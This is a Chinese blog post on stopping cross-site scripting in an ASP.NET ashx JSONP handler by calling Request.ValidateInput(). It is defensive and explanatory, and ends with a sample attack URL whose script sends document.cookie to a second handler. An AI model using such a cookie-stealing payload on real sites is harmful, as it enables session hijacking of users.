VS2008.NET對ashx頁面防止跨站攻擊(XSS)

首先,給大家貼出解決方案,很簡單,只需要加一句代碼就OK。

context.Request.ValidateInput();

 

最近項目中做了一個ashx的頁面向其他人提供一個ajax的接口,接口調用使用到了jsonp的方式,當時也沒考慮太多,直接將接收到的參數原樣寫回到了客戶端。

項目上線之後,公司安全的就呼叫我了,說這個頁面沒有防止跨站攻擊(XSS),說可以通過什麼NC反彈工具,獲取用戶的cookie什麼的。把偶搞得雲裏霧裏的。

今天看了一下網上的跨站攻擊資料,恍然大悟,不就是.net普通頁面aspx默認就有的那個什麼客戶端輸入值驗證嘛。

我們經常的用到網頁富文本編輯器的時候出現這個錯誤

不就是.net默認在防止XSS攻擊嗎?

既然.NET有進行XSS攻擊驗證的功能,那麼在ashx頁面上應該也是可以實現的,不用太複雜的去自己過濾那些特殊字符,而且我也不知道到底有哪些字符需要過濾。

查MSDN,找到一個函數。

HttpRequest..::.ValidateInput 方法

MSDN描述如下:

HttpRequest 類使用輸入驗證標誌來跟蹤是否對通過 CookiesFormQueryString 屬性訪問的請求集合執行驗證。ValidateInput 方法設置這些標誌,以便在調用CookiesFormQueryString 屬性的 get 訪問器時執行輸入驗證。驗證的工作原理是,將所有輸入數據與具有潛在危險的數據的硬編碼列表進行對照檢查。

如果頁指令或配置啓用了驗證功能,則在頁的 ProcessRequest 處理階段調用此方法。如果未啓用驗證功能,則可通過代碼調用ValidateInput 方法。

 

SO:我在頁面加了一句

context.Request.ValidateInput();

好了,後面在使用context.Request.QueryString["id"];獲取URL參數的時候,有特殊字符的時候程序就會提示有潛在危險而報出異常了。

 

ASP.NET 4.0中使用FreeTextBox和FCKeditor遇到安全問題警告的解決辦法

最後附上一段XSS攻擊例子,簡單易懂,不像公司那坑爹的安全組說的什麼NC反彈,搞得哥雲裏霧裏

http://localhost:20322/Handler1.ashx?id=<script>window.location.href='http://localhost:20322/Handler2.ashx?cookie='%2bdocument.cookie;</script>

 


 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章